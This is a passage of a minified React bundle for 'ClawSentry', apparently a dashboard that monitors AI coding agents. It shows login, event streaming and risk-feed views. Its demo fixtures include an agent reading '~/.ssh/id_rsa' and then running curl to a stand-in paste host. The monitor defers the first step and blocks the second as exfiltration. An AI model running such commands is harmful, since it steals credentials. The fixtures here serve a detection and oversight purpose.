pa({onLogin:s,authFailure:t=null,checking:n=!1}){const[i,r]=l.useState(""),a=ma(t),o=d=>{d.preventDefault(),i.trim()&&!n&&s(i.trim())};return e.jsx("div",{className:"login-container",children:e.jsxs("div",{className:"login-card",children:[e.jsx("p",{className:"eyebrow",children:"Secure access"}),e.jsx("h2",{children:"CLAWSENTRY"}),e.jsx("div",{className:"subtitle",children:"Enter your AHP auth token to connect"}),e.jsxs("p",{className:"login-help",children:["Use the token printed by clawsentry start in the Web UI URL, or the",e.jsx("code",{children:" CS_AUTH_TOKEN"})," value in your local ",e.jsx("code",{children:".env.clawsentry"}),"."]}),a&&e.jsx("div",{className:"login-alert",role:"alert",children:a}),e.jsxs("form",{className:"login-form",onSubmit:o,children:[e.jsx("label",{className:"login-label",htmlFor:"auth-token",children:"Auth token"}),e.jsx("input",{id:"auth-token",type:"password",className:"login-input",placeholder:"CS_AUTH_TOKEN",value:i,onChange:d=>r(d.target.value),autoFocus:!0}),e.jsx("button",{type:"submit",className:"btn btn-primary login-button",disabled:n,children:n?"Checking…":"Connect"})]})]})})}function ye({label:s,value:t,accent:n="purple",icon:i,subtext:r}){return e.jsx("div",{className:`card metric-card accent-${n}`,children:e.jsxs("div",{className:"metric-card-header",children:[e.jsxs("div",{className:"metric-card-copy",children:[e.jsx("div",{className:"metric-value",children:t}),e.jsx("div",{className:"metric-label",children:s}),r&&e.jsx("div",{className:"metric-subtext",children:r})]}),i&&e.jsx("div",{className:"metric-icon","aria-hidden":"true",children:i})]})})}function gs(s,t){const n=new URLSearchParams,i=xs();i&&n.set("token",i),s!=null&&s.length&&n.set("types",s.join(","));const r=`/report/stream?${n}`;return new EventSource(r)}function Ot(s,t,n){let i=null,r=0,a=null,o=!1;const d=10;function c(){if(!o){t.onStatusChange("connecting"),i=gs(s),i.onopen=()=>{r=0,t.onStatusChange("connected")},i.onerror=()=>{if(o)return;if(i==null||i.close(),i=null,r>=d){t.onStatusChange("error",`Failed after ${d} retries`);return}const u=Math.min(1e3*2**r,3e4);r++,t.onStatusChange("disconnected",`Reconnecting in ${Math.round(u/1e3)}s...`),a=setTimeout(c,u)};for(const u of s)i.addEventListener(u,v=>{try{t.onEvent(u,JSON.parse(v.data))}catch{}})}}return c(),()=>{o=!0,a&&clearTimeout(a),i==null||i.close(),i=null}}function Ft({className:s,children:t}){return e.jsx("span",{className:s,children:t})}function Dt({decision:s}){const{t}=W();return e.jsx(Ft,{className:`badge badge-${s}`,children:t(`decision.${s}`)})}function D({level:s}){const{t}=W();return e.jsx(Ft,{className:`badge badge-risk-${s}`,children:t(`risk.${s}`)})}function ue({icon:s,title:t,subtitle:n}){const{language:i}=W();return e.jsxs("div",{className:"empty-state",children:[e.jsx("div",{className:"empty-state-ornament","aria-hidden":"true"}),e.jsx("div",{className:"empty-state-icon",children:s}),e.jsx("div",{className:"empty-state-kicker",children:i==="zh"?"待命":"Standby"}),e.jsx("div",{className:"empty-state-title",children:t}),n&&e.jsx("div",{className:"empty-state-subtitle",children:n})]})}function js(s){var n;if(!s)return null;const t=[];if((n=s.retained_sources)!=null&&n.length&&t.push(s.retained_sources.filter(Boolean).join(", ")),typeof s.tool_calls_count=="number"&&t.push(`${s.tool_calls_count} tool call(s)`),typeof s.toolkit_budget_cap=="number"&&typeof s.toolkit_calls_remaining=="number"&&s.toolkit_budget_cap>0){const i=`toolkit ${s.toolkit_calls_remaining}/${s.toolkit_budget_cap}`;t.push(s.toolkit_budget_exhausted?`${i} (exhausted)`:i)}else s.toolkit_budget_exhausted&&t.push("toolkit exhausted");return t.length>0?t.join(" · "):null}const fa=!1,va=Date.now(),z=s=>new Date(va-s*6e4).toISOString(),De={retained_sources:["trajectory","file","transcript"],tool_calls_count:5,toolkit_budget_mode:"multi_turn",toolkit_budget_cap:6,toolkit_calls_remaining:0,toolkit_budget_exhausted:!0},Mt={retained_sources:["trajectory","transcript"],tool_calls_count:3,toolkit_budget_mode:"multi_turn",toolkit_budget_cap:6,toolkit_calls_remaining:2,toolkit_budget_exhausted:!1},Ze={active_sessions:4,high_risk_sessions:2,mapped_active_sessions:3,by_risk_level:{critical:1,high:1,medium:1,low:1},by_trinityguard_tier:{P1:1,P2:2},by_trinityguard_subtype:{cascading_failure:1,privileged_execution:1}},es=[{session_id:"demo-critical-l3-review",agent_id:"agent-redtail",source_framework:"codex",caller_adapter:"codex-http",workspace_root:"/workspaces/payments-agent",transcript_path:"/demo/transcripts/payments-agent.jsonl",current_risk_level:"critical",cumulative_score:.91,latest_composite_score:.94,session_risk_ewma:.88,risk_velocity:"up",window_risk_summary:{window_seconds:3600,event_count:18,high_risk_event_count:5,high_or_critical_count:5,risk_density:.28,risk_points_sum:21,decision_affecting:!1,max_composite_score:.94,mean_composite_score:.72},event_count:38,high_risk_event_count:7,decision_distribution:{allow:24,block:4,defer:6,modify:4},first_event_at:z(42),last_event_at:z(1),l3_state:"running",l3_reason_code:"toolkit_budget_exhausted",evidence_summary:De,l3_advisory_latest:{review_id:"demo-review-901",type:"l3_advisory_review",snapshot_id:"demo-snap-901",session_id:"demo-critical-l3-review",risk_level:"critical",findings:["credential file read followed by outbound network command"],confidence:.84,advisory_only:!0,recommended_operator_action:"escalate",l3_state:"running",l3_reason_code:"toolkit_budget_exhausted",created_at:z(5),evidence_record_count:8,evidence_event_ids:["evt-demo-1","evt-demo-2"],source_record_range:{from_record_id:18,to_record_id:26},review_runner:"deterministic_local",worker_backend:"demo_fixture",analysis_summary:"Frozen advisory evidence shows critical credential access followed by outbound network activity; canonical decisions remain unchanged.",analysis_points:["Highest risk driver is credential access combined with exfiltration-like network flow.","The frozen range contains repeated high-risk shell and network tools."],operator_next_steps:["Escalate before releasing the session.","Inspect the frozen replay range and retained evidence boundary."]}},{session_id:"demo-defer-deploy-tools",agent_id:"agent-moraine",source_framework:"openclaw",caller_adapter:"openclaw-ws",workspace_root:"/workspaces/cloud-deploy",transcript_path:"/demo/transcripts/cloud-deploy.jsonl",current_risk_level:"high",cumulative_score:.77,latest_composite_score:.79,session_risk_ewma:.71,risk_velocity:"up",window_risk_summary:{window_seconds:3600,event_count:12,high_risk_event_count:3,high_or_critical_count:3,risk_density:.25,risk_points_sum:14,decision_affecting:!1},event_count:24,high_risk_event_count:4,decision_distribution:{allow:17,block:1,defer:5,modify:1},first_event_at:z(75),last_event_at:z(3),l3_state:"queued",l3_reason_code:"operator_required",evidence_summary:Mt},{session_id:"demo-budget-pressure",agent_id:"agent-copper",source_framework:"a3s-code",caller_adapter:"stdio-harness",workspace_root:"/workspaces/research-runner",transcript_path:"/demo/transcripts/research-runner.jsonl",current_risk_level:"medium",cumulative_score:.48,latest_composite_score:.52,session_risk_ewma:.44,risk_velocity:"down",window_risk_summary:{window_seconds:3600,event_count:16,high_risk_event_count:1,high_or_critical_count:1,risk_density:.06,risk_points_sum:6,decision_affecting:!1},event_count:61,high_risk_event_count:2,decision_distribution:{allow:52,block:2,defer:3,modify:4},first_event_at:z(140),last_event_at:z(8),evidence_summary:{...De,retained_sources:["trajectory","summary"],tool_calls_count:6}},{session_id:"demo-clean-docs-agent",agent_id:"agent-quiet",source_framework:"codex",caller_adapter:"codex-http",workspace_root:"/workspaces/docs-site",transcript_path:"/demo/transcripts/docs-site.jsonl",current_risk_level:"low",cumulative_score:.18,latest_composite_score:.16,session_risk_ewma:.2,risk_velocity:"down",window_risk_summary:{window_seconds:3600,event_count:4,high_risk_event_count:0,high_or_critical_count:0,risk_density:0,risk_points_sum:0,decision_affecting:!1},event_count:14,high_risk_event_count:0,decision_distribution:{allow:13,modify:1},first_event_at:z(90),last_event_at:z(11),evidence_summary:null}],xa={generated_at:z(0),budget:{enabled:!0,limit_tokens:25e4,scope:"total",used_input_tokens:184e3,used_output_tokens:39200,used_total_tokens:223200,remaining_tokens:26800,daily_budget_usd:25,daily_spend_usd:21.72,remaining_usd:3.28,exhausted:!1}},ga={budget_exhaustion_event:{type:"budget_exhausted",timestamp:z(9),provider:"openai",tier:"L3",status:"near_cap",cost_usd:4.82,budget:xa.budget}};z(1),z(2),z(4),ga.budget_exhaustion_event;const ja=[{event:{tool_name:"bash",input:"cat ~/.ssh/id_rsa"},decision:{decision:"defer",reason:"Credential material access requires operator approval",risk_level:"critical",decision_latency_ms:88},risk_snapshot:{risk_level:"critical",composite_score:.91,dimensions:{d1:.9,d2:.7,d3:.8,d4:.2,d5:.9,d6:2.3}},meta:{actual_tier:"L3",caller_adapter:"codex-http",l3_available:!0,l3_requested:!0,l3_reason_code:"credential_access",l3_state:"running"},l3_trace:{trigger_detail:"secret_file_read",evidence_summary:De},recorded_at:z(1)},{event:{tool_name:"bash",input:"curl https://paste.example/upload"},decision:{decision:"block",reason:"Outbound exfiltration pattern after credential read",risk_level:"critical",decision_latency_ms:104},risk_snapshot:{risk_level:"critical",composite_score:.94,dimensions:{d1:.8,d2:.9,d3:.9,d4:.2,d5:.9,d6:2.7}},meta:{actual_tier:"L3",caller_adapter:"codex-http",l3_available:!0,l3_requested:!0,l3_reason_code:"exfil_chain",l3_state:"running"},l3_trace:{trigger_detail:"credential_then_network",evidence_summary:De},recorded_at:z(2)}];({...es[0],generated_at:z(0),risk_timeline:ja.map((s,t)=>{var n;return{event_id:`evt-demo-${t}`,occurred_at:s.recorded_at,risk_level:s.risk_snapshot.risk_level,composite_score:s.risk_snapshot.composite_score,tool_name:String(s.event.tool_name),decision:s.decision.decision,actual_tier:s.meta.actual_tier,classified_by:s.meta.actual_tier,l3_reason_code:s.meta.l3_reason_code,evidence_summary:(n=s.l3_trace)==null?void 0:n.evidence_summary}}),l3_advisory:(es[0].l3_advisory_latest,z(5),z(1),es[0].l3_advisory_latest,z(5),z(1))});z(0);const _a={l3State:{pending:{en:"Pending",zh:"待处理"},running:{en:"Running",zh:"执行中"},completed:{en:"Completed",zh:"已完成"},failed:{en:"Failed",zh:"失败"},degraded:{en:"Degraded",zh:"已降级"},skipped:{en:"Skipped",zh:"已跳过"},enabled:{en:"Enabled",zh:"已启用"},not_triggered:{en:"Not triggered",zh:"未触发"}},jobState:{queued:{en:"Queued",zh:"已排队"},running:{en:"Running",zh:"执行中"},completed:{en:"Completed",zh:"已完成"},failed:{en:"Failed",zh:"失败"},degraded:{en:"Degraded",zh:"已降级"}},l3ReasonCode:{toolkit_budget_exhausted:{en:"Toolkit budget exhausted",zh:"工具证据预算耗尽"},budget_exhausted:{en:"Budget exhausted",zh:"预算耗尽"},hard_cap_exceeded:{en:"Hard cap exceeded",zh:"超过硬上限"},operator_required:{en:"Operator required",zh:"需要人工确认"},local_l3_unavailable:{en:"Local L3 unavailable",zh:"本地 L3 不可用"},local_l3_not_completed:{en:"Local L3 not completed",zh:"本地 L3 未完成"},trigger_not_matched:{en:"Trigger not matched",zh:"未命中触发条件"},provider_disabled:{en:"Provider disabled",zh:"提供商未启用"},provider_missing_key:{en:"Provider API key missing",zh:"缺少提供商密钥"},provider_missing_model:{en:"Provider model missing",zh:"缺少提供商模型"},provider_unsupported:{en:"Provider unsupported",zh:"不支持的提供商"},provider_not_implemented:{en:"Provider dry-run / not implemented",zh:"提供商为演练或未实现"},provider_timeout:{en:"Provider timeout",zh:"提供商超时"},provider_error:{en:"Provider error",zh:"提供商错误"},provider_response_invalid:{en:"Provider response invalid",zh:"提供商响应无效"},credential_access:{en:"Credential access",zh:"凭据访问"},exfil_chain:{en:"Exfiltration chain",zh:"外传链路"},completed:{en:"Completed",zh:"已完成"}},operatorAction:{inspect:{en:"Inspect",zh:"检查"},escalate:{en:"Escalate",zh:"升级处理"},pause:{en:"Pause",zh:"暂停"},none:{en:"None",zh:"无需操作"},monitor:{en:"Monitor",zh:"观察"}},runner:{deterministic_local:{en:"Deterministic local",zh:"本地确定性复核"},fake_llm:{en:"Fake LLM",zh:"模拟 LLM"},llm_provider:{en:"LLM provider",zh:"LLM 提供商"},demo_fixture:{en:"Demo fixture",zh:"演示数据"}}};function _s(s){return String(s||"").trim()}function ba(s){const t=s.replace(/[-_]+/g," ").replace(/\s+/g," ").trim();return t?t.charAt(0).toUpperCase()+t.slice(1).toLowerCase():"Unknown"}function le(s,t,n="en"){var r,a;const i=_s(t);return i?((a=(r=_a[s])==null?void 0:r[i])==null?void 0:a[n])??ba(i):n==="zh"?"未知":"Unknown"}function we(s,t="en"){return le("operatorAction",s,t)}function ze(s,t="en"){return le("runner",s,t)}function ve(s,t,n="en"){const i=_s(t);if(!i)return le(s,i,n);const r=le(s,i,n);return r.toLowerCase()===i.toLowerCase()?i:`${i} · ${r}`}function ya(s,t="en"){switch(_s(s).toLowerCase()){case"queued":return t==="zh"?"等待操作员显式运行":"waiting for explicit operator run";case"running":return t==="zh"?"Worker 正在复核冻结证据":"worker executing frozen evidence review";case"completed":return t==="zh"?"复核可用；canonical decision 未改变":"review available; canonical decision unchanged";case"failed":return t==="zh"?"Worker 失败；检查咨询任务证据":"worker failed; inspect advisory job evidence";case"degraded":return t==="zh"?"复核降级；检查保留证据边界":"review degraded; inspect retained evidence boundary";default:return null}}const Xs=["decision","alert","trajectory_alert","post_action_finding","pattern_candidate","pattern_evolved","defer_pending","defer_resolved","budget_exhausted","session_enforcement_change","l3_advisory_snapshot","l3_advisory_review","l3_advisory_job","l3_advisory_action"],It=["alert","trajectory_alert","post_action_finding","defer_pending","defer_resolved","budget_exhausted","session_enforcement_change","l3_advisory_review","l3_advisory_job","l3_advisory_action"],Me=80,ka={decision:{en:"Decision",zh:"决策"},alert:{en:"Alert",zh:"告警"},trajectory_alert:{en:"Trajectory",zh:"轨迹"},post_action_finding:{en:"Finding",zh:"发现"},pattern_candidate:{en:"Pattern candidate",zh:"候选模式"},pattern_evolved:{en:"Pattern evolved",zh:"模式演进"},defer_pending:{en:"Defer pending",zh:"DEFER 待处理"},defer_resolved:{en:"Defer resolved",zh:"DEFER 已处理"},budget_exhausted:{en:"Token exhausted",zh:"Token 已耗尽"},session_enforcement_change:{en:"Enforcement",zh:"执行状态"},l3_advisory_snapshot:{en:"L3 snapshot",zh:"L3 快照"},l3_advisory_review:{en:"L3 advisory",zh:"L3 咨询"},l3_advisory_job:{en:"L3 job",zh:"L3 任务"},l3_advisory_action:{en:"L3 action",zh:"L3 动作"}};function Ut(s,t){var n;return((n=ka[s])==null?void 0:n[t])??s}function Zs(s,t){const n=[t,...s],i=Math.max(0,n.length-Me);return{items:n.slice(0,Me),dropped:i}}function wa(s,t){const n=[...t,...s],i=Math.max(0,n.length-Me);return{items:n.slice(0,Me),dropped:i}}function Na(s,t,n){const i=t==="all"||s.type===t,r=!n||It.includes(s.type);return i&&r}function et(s){return It.includes(s.type)}function Sa(s){if(s.type!=="decision")return!1;const t=String(s.l3_state||"").trim().toLowerCase();return!!(s.l3_requested||s.l3_reason_code||s.l3_reason||t&&t!=="enabled"&&t!=="completed")}function Ra({tier:s}){const t=s.toUpperCase(),n=t==="L3"?"badge-tier-l3":t==="L2"?"badge-tier-l2":"badge-tier-l1";return e.jsx("span",{className:`badge ${n}`,children:t})}function Ca({type:s,language:t}){return e.jsx("span",{className:`badge runtime-event-badge runtime-event-badge-${s.replace(/_/g,"-")}`,children:Ut(s,t)})}function Ea(s){return!s||Object.keys(s).length===0?null:Object.entries(s).sort(([t],[n])=>t.localeCompare(n)).map(([t,n])=>`${t}:${n}`).join(", ")}function La({event:s}){const t=s.live_risk_overview;if(!t)return null;const n=Ea(t.by_trinityguard_tier);return e.jsxs(e.Fragment,{children:[e.jsxs("div",{className:"text-secondary runtime-event-detail runtime-event-detail-compact",children:["Enterprise posture:"," ",e.jsxs("span",{className:"mono",children:[t.active_sessions," active · ",t.high_risk_sessions," high-risk · ",t.mapped_active_sessions," mapped"]})]}),n&&e.jsxs("div",{className:"text-secondary runtime-event-detail runtime-event-detail-compact",children:["TrinityGuard tiers: ",e.jsx("span",{className:"mono",children:n})]})]})}function Ta({status:s,detail:t}){if(s==="connected")return null;const n=s==="error"?e.jsx(pt,{size:10}):e.jsx(vn,{size:10}),i=s==="connecting"?"Connecting...":s==="disconnected"?t||"Reconnecting...":t||"Connection failed";return e.jsxs("div",{className:`operations-stream-connection operations-stream-connection-${s}`,children:[n,e.jsx("span",{className:"mono",children:i})]})}function H({sessionId:s}){return s?e.jsx(F,{to:`/sessions/${s}`,className:"mono runtime-session-link",children:s.length>12?`${s.slice(0,12)}...`:s}):null}function ss({patternId:s}){return e.jsx("span",{className:"mono runtime-pattern-id",children:s})}function $a({event:s,language:t}){var n,i;switch(s.type){case"decision":{const r=js(s.evidence_summary),a=Sa(s);return e.jsxs(e.Fragment,{children:[e.jsxs("div",{className:"runtime-event-meta-row",children:[e.jsx("span",{className:"mono runtime-tool-name",children:s.tool_name}),e.jsx(Dt,{decision:s.decision}),e.jsx(D,{level:s.risk_level}),e.jsx(Ra,{tier:s.actual_tier}),e.jsx(H,{sessionId:s.session_id})]}),s.command&&e.jsx("div",{className:"cmd-snippet runtime-command",children:s.command}),s.reason&&e.jsx("div",{className:"text-secondary runtime-event-detail",children:s.reason}),s.trigger_detail&&e.jsxs("div",{className:"text-secondary runtime-event-detail runtime-event-detail-compact",children:["Trigger pattern: ",e.jsx("span",{className:"mono",children:s.trigger_detail})]}),a&&s.l3_requested!==void 0&&e.jsxs("div",{className:"text-secondary runtime-event-detail runtime-event-detail-compact",children:["L3 requested: ",e.jsx("span",{className:"mono",children:s.l3_requested?"yes":"no"})]}),a&&s.l3_available!==void 0&&e.jsxs("div",{className:"text-secondary runtime-event-detail runtime-event-detail-compact",children:["L3 available: ",e.jsx("span",{className:"mono",children:s.l3_available?"yes":"no"})]}),s.l3_reason_code&&e.jsxs("div",{className:"text-secondary runtime-event-detail runtime-event-detail-compact",children:["L3 reason code: ",e.jsx("span",{className:"mono",children:ve("l3ReasonCode",s.l3_reason_code,t)})]}),a&&s.l3_state&&s.l3_state!=="completed"&&s.l3_state!=="enabled"&&e.jsxs("div",{className:"text-secondary runtime-event-detail runtime-event-detail-compact",children:["L3 state: ",e.jsx("span",{className:"mono",children:ve("l3State",s.l3_state,t)})]}),s.l3_reason&&s.l3_state&&s.l3_state!=="completed"&&e.jsxs("div",{className:"text-secondary runtime-event-detail runtime-event-detail-compact",children:["L3 reason: ",e.jsx("span",{className:"mono",children:s.l3_reason})]}),r&&e.jsxs("div",{className:"text-secondary runtime-event-detail runtime-event-detail-compact",children:["Evidence: ",e.jsx("span",{className:"mono",children:r})]})]})}case"alert":return e.jsxs(e.Fragment,{children:[e.jsxs("div",{className:"runtime-event-meta-row",children:[e.jsx("span",{className:"mono runtime-tool-name",children:s.metric}),e.jsx("span",{className:"badge badge-block",children:s.severity}),e.jsx(H,{sessionId:s.session_id})]}),e.jsx("div",{className:"text-secondary runtime-event-detail",children:s.message})]});case"trajectory_alert":return e.jsxs(e.Fragment,{children:[e.jsxs("div",{className:"runtime-event-meta-row",children:[e.jsx(ss,{patternId:s.sequence_id}),e.jsx(D,{level:s.risk_level}),e.jsx("span",{className:"badge badge-defer",children:s.handling}),e.jsx(H,{sessionId:s.session_id})]}),e.jsx("div",{className:"text-secondary runtime-event-detail",children:s.reason})]});case"post_action_finding":return e.jsxs(e.Fragment,{children:[e.jsxs("div",{className:"runtime-event-meta-row",children:[e.jsx("span",{className:"badge badge-defer",children:s.tier}),e.jsx("span",{className:"badge badge-modify",children:s.handling}),e.jsxs("span",{className:"mono runtime-mono-small",children:["score ",s.score.toFixed(2)]}),e.jsx(H,{sessionId:s.session_id})]}),e.jsx("div",{className:"text-secondary runtime-event-detail",children:s.patterns_matched.length>0?`Matched: ${s.patterns_matched.join(", ")}`:`Framework: ${s.source_framework}`})]});case"pattern_candidate":return e.jsxs("div",{className:"runtime-event-meta-row",children:[e.jsx(ss,{patternId:s.pattern_id}),e.jsx("span",{className:"badge badge-modify",children:s.status}),e.jsx("span",{className:"mono text-muted runtime-mono-xsmall",children:s.source_framework}),e.jsx(H,{sessionId:s.session_id})]});case"pattern_evolved":return e.jsxs("div",{className:"runtime-event-meta-row",children:[e.jsx(ss,{patternId:s.pattern_id}),e.jsx("span",{className:"badge badge-allow",children:s.result})]});case"defer_pending":return e.jsxs(e.Fragment,{children:[e.jsxs("div",{className:"runtime-event-meta-row",children:[e.jsx("span",{className:"mono runtime-tool-name",children:s.tool_name}),e.jsx("span",{className:"badge badge-defer",children:"pending"}),e.jsxs("span",{className:"mono text-muted runtime-mono-xsmall",children:[s.timeout_s,"s"]}),e.jsx(H,{sessionId:s.session_id})]}),s.command&&e.jsx("div",{className:"cmd-snippet runtime-command",children:s.command}),s.reason&&e.jsx("div",{className:"text-secondary runtime-event-detail",children:s.reason})]});case"defer_resolved":return e.jsxs("div",{className:"runtime-event-meta-row",children:[e.jsx("span",{className:`badge ${s.resolved_decision==="allow"?"badge-allow":"badge-block"}`,children:s.resolved_decision}),e.jsx("span",{className:"mono text-muted runtime-mono-xsmall",children:s.approval_id}),e.jsx(H,{sessionId:s.session_id}),s.resolved_reason&&e.jsx("span",{className:"text-secondary runtime-event-inline-detail",children:s.resolved_reason})]});case"l3_advisory_snapshot":return e.jsxs(e.Fragment,{children:[e.jsxs("div",{className:"runtime-event-meta-row",children:[e.jsx("span",{className:"badge badge-modify",children:"snapshot"}),e.jsx("span",{className:"mono runtime-mono-small",children:s.snapshot_id}),e.jsx(H,{sessionId:s.session_id})]}),e.jsxs("div",{className:"text-secondary runtime-event-detail",children:["Trigger: ",e.jsx("span",{className:"mono",children:s.trigger_reason})," ","range: ",e.jsxs("span",{className:"mono",children:[s.event_range.from_record_id,"→",s.event_range.to_record_id]})]})]});case"l3_advisory_review":return e.jsxs(e.Fragment,{children:[e.jsxs("div",{className:"runtime-event-meta-row",children:[e.jsx(D,{level:s.risk_level}),e.jsx("span",{className:"badge badge-defer",children:we(s.recommended_operator_action,t)}),e.jsx("span",{className:"badge badge-modify",children:le("l3State",s.l3_state,t)}),e.jsx("span",{className:"mono runtime-mono-small",children:s.review_id}),e.jsx(H,{sessionId:s.session_id})]}),e.jsxs("div",{className:"text-secondary runtime-event-detail",children:[t==="zh"?"仅咨询，来自快照":"Advisory only from snapshot"," ",e.jsx("span",{className:"mono",children:s.snapshot_id})]}),s.analysis_summary&&e.jsx("div",{className:"text-secondary runtime-event-detail runtime-event-detail-compact",children:s.analysis_summary}),(n=s.operator_next_steps)!=null&&n.length?e.jsxs("div",{className:"text-secondary runtime-event-detail runtime-event-detail-compact",children:[t==="zh"?"下一步":"Next",": ",e.jsx("span",{className:"mono",children:s.operator_next_steps[0]})]}):null]});case"l3_advisory_job":{const r=ya(s.job_state,t);return e.jsxs(e.Fragment,{children:[e.jsxs("div",{className:"runtime-event-meta-row",children:[e.jsx("span",{className:"badge badge-modify",children:le("jobState",s.job_state,t)}),e.jsx("span",{className:"mono runtime-mono-small",children:s.job_id}),e.jsx(H,{sessionId:s.session_id})]}),e.jsxs("div",{className:"text-secondary runtime-event-detail",children:["Runner ",e.jsx("span",{className:"mono",children:ze(s.runner,t)})," for snapshot ",e.jsx("span",{className:"mono",children:s.snapshot_id})]}),r&&e.jsxs("div",{className:"text-secondary runtime-event-detail runtime-event-detail-compact",children:["Next: ",e.jsx("span",{className:"mono",children:r})]}),e.jsxs("div",{className:"text-secondary runtime-event-detail runtime-event-detail-compact",children:["Frozen snapshot ",e.jsx("span",{className:"mono",children:s.snapshot_id})," · frozen snapshot; explicit run only"]})]})}case"l3_advisory_action":return e.jsxs(e.Fragment,{children:[e.jsxs("div",{className:"runtime-event-meta-row",children:[e.jsx(D,{level:s.risk_level}),e.jsx("span",{className:"badge badge-defer",children:we(s.recommended_operator_action,t)}),e.jsx("span",{className:"mono runtime-mono-small",children:s.review_id}),e.jsx(H,{sessionId:s.session_id})]}),e.jsxs("div",{className:"text-secondary runtime-event-detail",children:[t==="zh"?"仅咨询 / canonical 未改变":"Advisory only / canonical unchanged"," · snapshot ",e.jsx("span",{className:"mono",children:s.snapshot_id}),s.job_id?e.jsxs(e.Fragment,{children:[" · job ",e.jsx("span",{className:"mono",children:s.job_id})]}):null]}),s.source_record_range&&e.jsxs("div",{className:"text-secondary runtime-event-detail runtime-event-detail-compact",children:["Frozen range ",e.jsxs("span",{className:"mono",children:[s.source_record_range.from_record_id,"→",s.source_record_range.to_record_id]})]}),s.summary&&e.jsx("div",{className:"text-secondary runtime-event-detail runtime-event-detail-compact",children:s.summary}),s.analysis_summary&&e.jsx("div",{className:"text-secondary runtime-event-detail runtime-event-detail-compact",children:s.analysis_summary}),(i=s.operator_next_steps)!=null&&i.length?e.jsxs("div",{className:"text-secondary runtime-event-detail runtime-event-detail-compact",children:[t==="zh"?"下一步":"Next",": ",e.jsx("span",{className:"mono",children:s.operator_next_steps[0]})]}):null]});case"budget_exhausted":return e.jsxs(e.Fragment,{children:[e.jsxs("div",{className:"runtime-event-meta-row",children:[e.jsx("span",{className:"badge badge-block",children:t==="zh"?"Token 已耗尽":"Token exhausted"}),e.jsx("span",{className:"mono runtime-tool-name",children:"Provider"}),e.jsx("span",{className:"mono text-muted runtime-mono-small",children:s.provider}),e.jsx("span",{className:"mono runtime-tool-name",children:"Tier"}),e.jsx("span",{className:"badge badge-defer",children:s.tier})]}),e.jsx("div",{className:"text-secondary runtime-event-detail",children:e.jsx("span",{className:"mono",children:He(s.budget,t)})})]});case"session_enforcement_change":return e.jsxs(e.Fragment,{children:[e.jsxs("div",{className:"runtime-event-meta-row",children:[e.jsx("span",{className:`badge ${s.state==="released"?"badge-allow":"badge-block"}`,children:s.state}),s.action&&e.jsx("span",{className:"badge badge-defer",children:s.action}),e.jsx(H,{sessionId:s.session_id})]}),(s.reason||s.high_risk_count!==void 0)&&e.jsx("div",{className:"text-secondary runtime-event-detail",children:s.reason||`${s.high_risk_count} high-risk event(s)`})]})}}function Aa(){const{t:s,language:t}=W(),[n,i]=l.useState([]),[r,a]=l.useState(!1),[o,d]=l.useState([]),[c,u]=l.useState(0),[v,m]=l.useState(0),[j,f]=l.useState(!1),[b,g]=l.useState("all"),[h,w]=l.useState(!1),[y,k]=l.useState("connecting"),[S,O]=l.useState(),U=l.useRef(!1);l.useEffect(()=>{U.current=j},[j]),l.useEffect(()=>Ot(Xs,{onEvent:(_,L)=>{const p={...L,type:_};if(U.current){u(N=>N+1),d(N=>{const T=Zs(N,p);return T.dropped>0&&m(V=>V+T.dropped),T.items});return}i(N=>{const T=Zs(N,p);return T.dropped>0&&m(V=>V+T.dropped),T.items})},onStatusChange:(_,L)=>{k(_),O(L)}}),[]),l.useEffect(()=>{},[n.length]);function $(){if(!j){f(!0);return}o.length>0&&i(R=>{const _=wa(R,o);return _.dropped>0&&m(L=>L+_.dropped),_.items}),d([]),u(0),f(!1)}const B=n.filter(R=>Na(R,b,h)),X=n.filter(et).length;return e.jsxs("section",{className:"card runtime-feed operations-stream","aria-label":s("runtime.title"),children:[e.jsxs("div",{className:"card-header operations-stream-header",children:[e.jsxs("div",{className:"operations-stream-title",children:[e.jsx(Pe,{size:12}),e.jsxs("div",{children:[e.jsx("span",{children:s("runtime.title")}),e.jsx("p",{children:s(r?"runtime.demo":"runtime.normal")})]})]}),e.jsxs("div",{className:"operations-stream-status",children:[y==="connected"&&e.jsx("span",{className:"stream-live-dot","aria-label":"SSE connected"}),n.length>0&&e.jsxs("span",{className:"mono",children:[B.length,"/",n.length," events"]})]})]}),e.jsx(Ta,{status:y,detail:S}),e.jsxs("div",{className:"operations-stream-brief","aria-label":"Runtime stream brief",children:[e.jsxs("span",{children:[e.jsx("strong",{children:X})," ",s("runtime.actionNeeded")]}),e.jsxs("span",{children:[e.jsx("strong",{children:c})," ",s("runtime.buffered")]}),e.jsxs("span",{children:[e.jsx("strong",{children:v})," ",s("runtime.hiddenByCap")]})]}),e.jsxs("div",{className:"operations-stream-controls",children:[e.jsxs("label",{className:"stream-filter-control",children:[e.jsx("span",{className:"mono text-muted",children:s("runtime.type")}),e.jsxs("select",{value:b,onChange:R=>g(R.target.value),className:"input",children:[e.jsx("option",{value:"all",children:s("runtime.allEvents")}),Xs.map(R=>e.jsx("option",{value:R,children:Ut(R,t)},R))]})]}),e.jsx("button",{type:"button",className:`badge ${h?"badge-block":""}`,onClick:()=>w(R=>!R),children:s("runtime.highPriorityOnly")}),e.jsx("button",{type:"button",className:`badge ${j?"badge-defer":""}`,onClick:$,children:s(j?"runtime.resume":"runtime.pause")})]}),(c>0||v>0)&&e.jsxs("div",{className:"operations-stream-buffer",children:[c>0&&e.jsxs("span",{className:"mono",children:["Feed paused · ",c," buffered while paused"]}),v>0&&e.jsxs("span",{className:"mono",children:[v," older events hidden by feed cap"]})]}),e.jsx("div",{className:"operations-stream-list",children:n.length===0?e.jsx(ue,{icon:e.jsx(Pe,{size:20}),title:s("runtime.waitingTitle"),subtitle:s(y==="connected"?"runtime.waitingConnected":"runtime.waitingConnecting")}):B.length===0?e.jsx(ue,{icon:e.jsx(Pe,{size:20}),title:s("runtime.noMatchTitle"),subtitle:s("runtime.noMatchSubtitle")}):B.map((R,_)=>e.jsxs("div",{className:`slide-in operations-stream-row${et(R)?" operations-stream-row-priority":""}`,children:[e.jsxs("div",{className:"operations-stream-row-top",children:[e.jsx("span",{className:"mono text-muted operations-stream-time",children:new Date(R.timestamp).toLocaleTimeString()}),e.jsx(Ca,{type:R.type,language:t})]}),e.jsx($a,{event:R,language:t}),e.jsx(La,{event:R})]},`${R.type}-${R.timestamp}-${_}`))})]})}function J({rows:s=3,height:t}){return e.jsxs("div",{className:"card skeleton-card",style:t?{height:t}:void 0,children:[e.jsx("div",{className:"skeleton skeleton-text-sm skeleton-card-kicker",style:{width:"34%",marginBottom:14}}),e.jsx("div",{className:"skeleton skeleton-value 